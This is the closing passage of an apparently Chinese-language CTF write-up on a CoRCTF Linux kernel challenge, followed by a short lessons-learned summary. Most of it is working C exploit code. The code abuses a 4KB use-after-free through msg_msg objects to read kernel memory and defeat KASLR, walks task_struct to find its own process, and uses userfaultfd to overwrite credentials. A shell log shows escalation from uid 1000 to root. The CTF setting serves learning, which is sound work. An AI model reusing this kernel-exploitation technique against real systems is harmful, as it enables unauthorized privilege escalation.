msg_buff->mtype=1;
memset(&(msg_buff->mtext),1,0x1000);
memset(re_buf,0,sizeof(re_buf));
del_rule(fd,0,INBOUND);
send_msg(msg_id, msg_buff, 0x1010 - 0x30, 0);

for(int i=0;i<0x50;i++){
int shmid;
if ((shmid = shmget(IPC_PRIVATE, 100, 0600)) == -1) {
err_exit("shmget");
return 1;
}
char *shmaddr = shmat(shmid, NULL, 0);
if (shmaddr == (void*)-1) {
err_exit("shmat");
return 1;
}
}
printf("[*] get kernel_base_addr...\n");
size=0x1500;
msg_header fake_msg_header;
fake_msg_header.ll_next=(void *)0x4141414141414141;
fake_msg_header.ll_prev=(void *)0x4242424242424242;
fake_msg_header.m_type=1;
fake_msg_header.m_ts=size;
edit_rule(fd,&fake_msg_header,0,OUTBOUND,0);
get_msg(msg_id, re_buf, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);

for(int i=0;i<0x2000/8;i++){
if((re_buf[i]&0xfff)==0x7a0){
init_ipc_ns=re_buf[i];
break;
}
}

kernel_base = init_ipc_ns - 0xc3d7a0;
init_task = kernel_base + 0xc124c0;
init_cred = kernel_base + 0xc33060;
init_cred_addr=init_cred;
printf("[+] init_ipc_ns: %p\n", init_ipc_ns);
printf("[+] kernel_base: %p\n", kernel_base);
printf("[+] init_task: %p\n", init_task);
printf("[+] init_cred: %p\n", init_cred);
memset(re_buf,0,sizeof(re_buf));
memset((void *)&fake_msg_header,0,sizeof(msg_header));

printf("[*] search this process task_struct\n");
fake_msg_header.m_type=1;
fake_msg_header.m_ts=size;
fake_msg_header.next=(void *)init_task+0x290;
edit_rule(fd,&fake_msg_header,0,OUTBOUND,1);
get_msg(msg_id, re_buf, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
memcpy((void*)&prev, (void *)(((char *)re_buf) + 0xfe0), 8);
memcpy((void*)&pid, (void *)(((char *)re_buf) + 0x10d8), 4);
printf("%d %d\n", pid, getpid());
while(pid!=getpid()){
curr=prev-0x298;
fake_msg_header.next=prev-0x8;
edit_rule(fd,&fake_msg_header,0,OUTBOUND,1);
get_msg(msg_id, re_buf, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
memcpy((void*)&prev, (void *)(((char *)re_buf) + 0xfe0), 8);
memcpy((void*)&pid, (void *)(((char *)re_buf) + 0x10d8), 4);
printf("%d %d\n", pid, getpid());
}

printf("[*] get this process task_struct:%p\n",curr);
printf("[*] now write for cred\n");

add_rule(fd,1,INBOUND);
dup_rule(fd,1,INBOUND);
del_rule(fd,1,INBOUND);

char *buf=mmap(0x200000,0x2000,PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
if(!buf){
err_exit("mmap fail");
}
msg_buff=0x200000+0x1000-0x8;
msg_buff->mtype=1;
target_addr=curr + 0x538 - 0x8;
size=0x1010;
registerUserFaultFd(0x200000+0x1000,0x1000,fault_handler_thread);


send_msg(msg_id, msg_buff, size - 0x30, 0);
pthread_join(monitor_thread,NULL);
usr_shell();

}

效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ctf@CoRCTF:/exp$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
ctf@CoRCTF:/exp$ /myexp
idx:0
[*] get kernel_base_addr...
[+] init_ipc_ns: 0xffffffffa603d7a0
[+] kernel_base: 0xffffffffa5400000
[+] init_task: 0xffffffffa60124c0
[+] init_cred: 0xffffffffa6033060
[*] search this process task_struct
0 86
86 86
[*] get this process task_struct:0xffff8d5c46128040
[*] now write for cred
idx:1
getshelling
[*]----getshell ok
root@CoRCTF:/exp# id
uid=0(root) gid=0(root)

总结

学习到了在拥有了4kb的uaf情况下如何使用msg进行任意地址读和任意地址写的手段,还对task_struct进行了直观的了解,当然msg不仅能用于4kb情况下的uaf,它的功能非常强大。